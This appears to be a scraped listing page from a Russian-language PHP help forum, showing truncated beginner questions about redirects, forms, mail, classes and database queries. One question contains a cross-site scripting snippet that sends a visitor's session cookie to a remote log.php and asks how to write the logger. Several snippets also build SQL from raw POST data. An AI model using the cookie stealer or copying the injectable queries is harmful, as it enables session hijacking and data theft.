PHP
A general-purpose scripting language especially suited to web development
Explore Questions
There are no popular questions to show right now
-
0 votes2 answers
-
0 votes1 answer
-
0 votes1 answer
-
0 votes2 answers
-
0 votes0 answers
2481 questions in this forum
-
Редирект для мобильных устройств
Добрый день, подскажите пожалуйста. Какой нужен скрипт, который определяет, что человек пришел на наш сайт с мобильного устройства и отправляет его на отдельную созданную страницу с адаптивной версткой. И где прописать данный скрипт? Вернее где его вызвать на странице? Помогите пожалуйста. Вот например возможное решение (но, врят ли): <?php $iphone = strpos($_server['http_user_agent'],"iphone" ; $android = strpos($_server['http_user_agent'],"android" ; $palmpre = strpos($_server['http_user_agent'],"webos" ; $berry = strpos($_server['http_user_agent'],"blackberry" ; $ipod = strpos($_server['http_user_agent'],"ipod" ; if ($iphone || $android || $palmpre || $ipod |…
0 votes3 answers -
не находит метод
в класе фейсбук написал метод: function SetAppLg($local){ global $lg; $ulg = FacebookApp :: getLgByLocale($local); if ($ulg == 'ru' || $ulg='lt') $lg = $ulg ; else $lg = 'lt' ; } класс экстендс этот , вызываю метод function ExecDefault(){ $Fb = facebook::getAuthorized() ; $facebook = new facebook; if ( $Fb['profile']) { $this -> SetAppLg ($Fb['profile']['locale']); //tut $sql = Sql::getInstance('horo'); $Fb ['profile'] ['Token'] = $facebook ->getAccessToken() ; $this -> AutoregFbUser ( $Fb ['profile']); $this -> AutoLogin ($Fb ['profile'] ); $this -> setVar ('logoutLink', $facebook->getLogoutUrl () ); } else …
0 votes7 answers -
События в PHP
Подскажите, кто нибудь сталкивался с таким понятием как события в PHP и как они работают? Как то случайно давно наткнулся на подобную тему, но сейчас не могу найти никакой информации об этом. И кто нибудь работал с функциями event_...()? (event_add, например). Что то тоже не могу ничего найти.
0 votes3 answers -
Проблема с формой
Здравствуйте у меня такая проблема с формой - я добавляю дополнительные поля для телефона с помощью кода var length_my = $(".phone_inputs").find("input").length; $(this).prev(".phone_inputs").append('<div class="jobs" style="height:30px;float:left;width:250px;margin-top:5px;"><input onfocus="add_border(this);" onblur="no_border(this);" name="phone'+length_my+'" style="margin-top:5px;" type="text"/></div>'); Добавляются поля нормально, но при отправке формы с добавленных полей не приходит POST. Кто с таким сталкивался подскажите пожалуйста как это исправить.
0 votes3 answers -
Рисование фигур
Сделал пример с книги, должен по идее рисоваться круг и результат быть такой, как в книге: Рисуем круг: (0, 0, 100) Прошло некоторое время... Стираем круг: (О, О, 100) Рисуем круг: (101, 6, 100) Прошло некоторое время... Стираем круг: (101, 6, 100) Рисуем круг: (101, б, 200) Прошло некоторое время... Стираем круг: (101, б, 200) но почему то выводит такое: Рисуем круг: (, , 0) Прошло некоторое время... Стираем круг: (, , 0) Рисуем круг: (, , 0) Прошло некоторое время... Стираем круг: (, , 0) Рисуем круг: (, , 0) Прошло некоторое время... Стираем круг: (, , 0) и не по порядку выводит, а грузится экран и все выводится сразу. <?php ## Базовый класс — геометрическая…
0 votes0 answers -
После каждого второго
Дело в том, что у меня на страницу выводиться по 5 материалов. Я хочу сделать, чтобы на каждой странице после второго материала был текст. Как это можно сделать?
0 votes2 answers -
как получить куку? хелп
Есть поле сообщений, где добавляется такой скрипт (ниже). Создается картинка с урлом в котором сессионая кука есть. Подскажите плиз как этот log.php должен быть написан принимающий один параметр и забрасывающий результат того, что в урле в текстовый файл log.txt? <script> url=document.cookie; var oImg=document.createElement("img"); oImg.setAttribute('src','http://sait/log.php?cookie='+url); oImg.setAttribute('alt','na'); oImg.setAttribute('height','1px'); oImg.setAttribute('width','1px'); document.body.appendChild(oImg); </script>
0 votes7 answers -
Не выполняется условие запроса sql
Здравствуйте! Есть функция поиска, которая выбирает условия поиска, исходя из значения $select. Но Это не работает, выполнятся всегда поиск по значению $select == 'all'. Сама функция: function magazine_search($query, $select){ if($select == 'all') { $query = clear($query); try { $dsn = sprintf('mysql:host=%s;dbname=%s;charset=utf8', HOST, DB); $pdo = new PDO($dsn, USER, PASS); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); } catch (PDOException $e) { echo "<p>Запрос на выборку данных из бызы не прошёл. Напишите об этом администратору <a href='mailto:admin@torawhite.ru'>admin…
0 votes1 answer -
Удаление файла Cogeigniter
Добрый день уважаемые форумчане. Разбираюсь с проектом, использующим codeigniter и столкнулся с такой проблемкой: не могу удалить файл из директории. т.е. например <?php$filename = "blabla.jpg";$path = base_url().'uploads/images/'.$filename;?>прошу подсказать, что дальше делать? стандартными средствами php натыкаюсь на сообщение, что нет прав на запись.
0 votes1 answer -
не отправляется письмо
Здравствуйте, есть простейший код отправки письма, который после регистрации отправляет пользователю ссылку на подтверждение. Но он почему то работает только если файл, в котором размещен код отправки, сохраненн в кодировке ANSI , если же сохранить файл в utf-8 то письмо просто не доходит, хотя функция mail возвращаяет true... Пробывал любой код, везде одинаковый результат, вот последний: function XMail( $from, $to, $subj, $text) { $un = strtoupper(uniqid(time())); $head = "From: $from\n"; $head .= "To: $to\n"; $head .= "Subject: $subj\n"; $head .= "X-Mailer: PHPMail Tool\n"; $head .= "Reply-To: $from\n"; $he…
0 votes1 answer -
Формы
Хотел попросить у вас помощи есть вот такой php код который отправляет данные с формы на указанные емаил <?if (isset ($_POST['messageCont'])) { mail ("мыло@мыло", "заполнена контактная форма с ".$_SERVER['HTTP_REFERER'], "Имя: ".$_POST['nameCont']."\nEmail: ".$_POST['emailCont']."\nСообщение: ".$_POST['messageCont']); $_POST['nameCont'] = $_POST['emailCont'] = $_POST['messageCont'] = '';}?>Проблема заключается в том что когда сообщение отправлено страница перезагружается но при попытке перезагрузить еще раз страницу пользователем форма заново отправляется на мыло. Как можно решить эту проблемы? Заранее благодарен за помощь.
0 votes5 answers -
Удаление новостей
Всем привет Помогите плз Не думайте что я лентяй ,для меня PHP одна радость) Так вот Я не могу написать скрипт Удаления новостей Вот что получилось: Файл delete.php <? session_start(); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> <title>Удаление</title> </head> <body> <?php require_once('bd.php'); if ($_SESSION['Group'] == '1') { mysql_select_db('My'); $query = ("SELECT * FROM `news`"); $res = mysql_query($…
0 votes6 answers -
правильное составление имен переменных
Всем привет Тут вдруг задался вопросом, как лучше обзывать переменные Например, переменные описывающие модуль : Ключ модуля, данные модуля, иформация о модуле $key_module, $data_module, $info_module (так правильно с точки зрения английского языка) или же $module_key, $module_data, $module_data (а так вроде как ключевое слово module идет первым, а потом идут описывающие его параметры) Кто как бы назвал ?
0 votes7 answers -
Тупой вопрос но все-же...
У меня есть форма, с которой идут данные в php <?php if (isset($_POST['message'])&&!empty($_POST['message'])) { $message = strip_tags($_POST['message']); $message = htmlspecialchars($message); $message = mysql_escape_string($message); $message = trim($message); if(strlen($message) < 1) exit(); if (strlen($message) > 500) $message = substr($message, 0, 500)."..."; if ($_COOKIE['message'] == $message) exit(); setcookie("message", "$message"); if (isset($_POST['name'])&&!empty($_POST['name'])) { $name = strip_tags($_POST['name']); $name = htmlspecialchars($name); $name = mysql_escape_string($name); $name = trim…
0 votes2 answers -
Проблема с HTTP заголовком
Приветствую. Объясните пожалуйста, почему не выводятся данные, если убрать комментарии перед отправкой заголовка: <?php $name = $_POST[name]; $age = abs((int)$_POST[age]); if($_SERVER['REQUEST_METHOD']=="POST"){ if($name && $age ){ $res = "Здравствуйте $name, $age - ваш возраст"; } else { $res = "Введите верное значение!"; } //header("Location: " . $_SERVER["PHP_SELF"]); //exit; } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset…
0 votes6 answers -
А нужна ли CMS?
Вот допустим планируется сайт, на котором будут регаться очень много пользователей и сами будут добавлять по очень много постов в день, то такой сайт нужно делать с нуля или можно натянуть на какую-нибудь CMS? Просто вроде говорят, то, что CMSки не выдерживают большую нагрузку.
0 votes1 answer -
Php Регистрация и авторизачия
Помогите со скриптом вот код авторизации <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta content="text/html; charset=utf-8" http-equiv="Content-Type" /> <title>Регистрация и авторизация</title> </head> <body> <?php $mysql=mysql_connect('localhost','zstushaba_lol','123321'); mysql_select_db('zstushaba_ftk'); $query="SELECT*FROM `childs` WHERE choise = '$_POST[login]'"; $res=mysql_query($query); $number = mysql_num_…
0 votes1 answer -
Передача POST на HTTPS
Приветствую. Два сервера играют в снежки POST запросами по протоколу HTTPS. При отправке данных через формы на странице все обрабатывается корректно. Радуюсь. Но вот необходимо отправить запрос без участия человека. Выходов как я понимаю несколько. Из этой кучи выбрал самый простой: curl. Написал функцию: <?php function SendPost($data, $port= '443', $host = 'https://htmlbook.ru', $path='/index.php') { if( $curl = curl_init() ) { curl_setopt($ch, CURLOPT_PORT, $port); curl_setopt($curl, CURLOPT_URL, $host.$path); curl_setopt($curl, CURLOPT_RETURNTRANSFER,true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); …
0 votes2 answers -
вызов одного класса в другом
Добрый день. проблема, я вызываю шаблон так $tpl = new template(tpl_dir,tpl_ext); $tpl->load('...'); $tpl->vars('...',array('redirect')); echo $tpl->out('...'); мне надо то же самое реализовать внутри функции другого класса, то есть: class sgd { function up() { $tpl = new template(tpl_dir,tpl_ext); $tpl->load('...'); $tpl->vars('...',array('redirect')); return $tpl->out('...'); } } но так работать не должно, я пробую так: $tpl .= template::__construct(tpl_dir,tpl_ext); $tpl .= template::load('...'); $tpl .= template::vars('...',array('redirect')); return $tpl .= template::out('...'); шаблон вызывается, но переменные не передаются, в чем может быть дел…
0 votes0 answers -
Вытащить из базы темы с определенным месяцем
Вобщем как организовать выбор из таблицы БД все темы за определенный месяц? Дата в формате Y-m-d
0 votes4 answers -
СМС - сервисы
Сейчас пользуюсь отправкой через API di-sms.ru - СМС проваливаются через одну. но удобно - отправляются по http Кто нибудь может подсказать качественный сервис с хотя бы 90% вероятностью доставки? буду признателен
0 votes4 answers -
Скрипт доски объявлений
Нужен хороший скрипт доски объявлений. Можно платный. Кто сталкивался и использовал - подскажите какой лучше?
0 votes2 answers -
Микрофреймворк
Встретился с таким понятием как микрофреймворк, из примеров есть например Slim м Silex. Вообще идея интересная, хочу спросить кто что думает на эту тему? вообще самый интересный вопрос, это что вообще можно считать «микро» фреймворком т.е. где та самая грань которая будет отделять его от обычного фв По себе могу сказать, что чувствую можно сделать проще многие вещи, например конфигуррирование, реализацию некоторых паттернов, например DI, упростить синтаксис, например экшены писать без префиксов и суффиксов, а просто как есть и т.д.
0 votes3 answers -
Много вопросов
Ребяяятки,Всем привет,давно я вам не писал,за это время скопилось много впоросов. 1.Расскажите как можно больше о файлах.Как сделать ссылки к файлас которые загружены на сервер?Как их загрузить? 2.Вот к примеру разместил ссылку ,а вот как сделать так:суперпупермегафайл.жпг (скачиваний:0) 3.Как сделать так чтобы ,как только нуступил новый день пароль менялся? P.S. Могут быть ошибки т.к. пишу с планшета(
0 votes5 answers -
Скрипт обратной связи
Добрый день, прошу у вас помощи, на скрине http://shot.qip.ru/00eaLf-3EBATV0HL/ отметил красным, что бы в место этого указывался емаил $email отправителя. Помогите реализовать это, заранее благодарен за вашу помощь <?php $post = (!empty($_POST)) ? true : false; if($post) { $email = trim($_POST["email"]); $name = htmlspecialchars($_POST["name"]); $email = htmlspecialchars($_POST["email"]); $tel = htmlspecialchars($_POST["tel"]); $error = ""; if(!$name) { $error .= "Пожалуйста введите ваше имя<br />"; } // Check email function ValidateEmail($value) { $regex = "/^([a-zA-Z0-9])+([\.a-zA-Z0-9_-])*@([a-zA-Z0-9_-])+(\.[a-zA-Z0-9_-]+)*\.([a-zA-Z]{2,6})$/"; if($value ==…
0 votes2 answers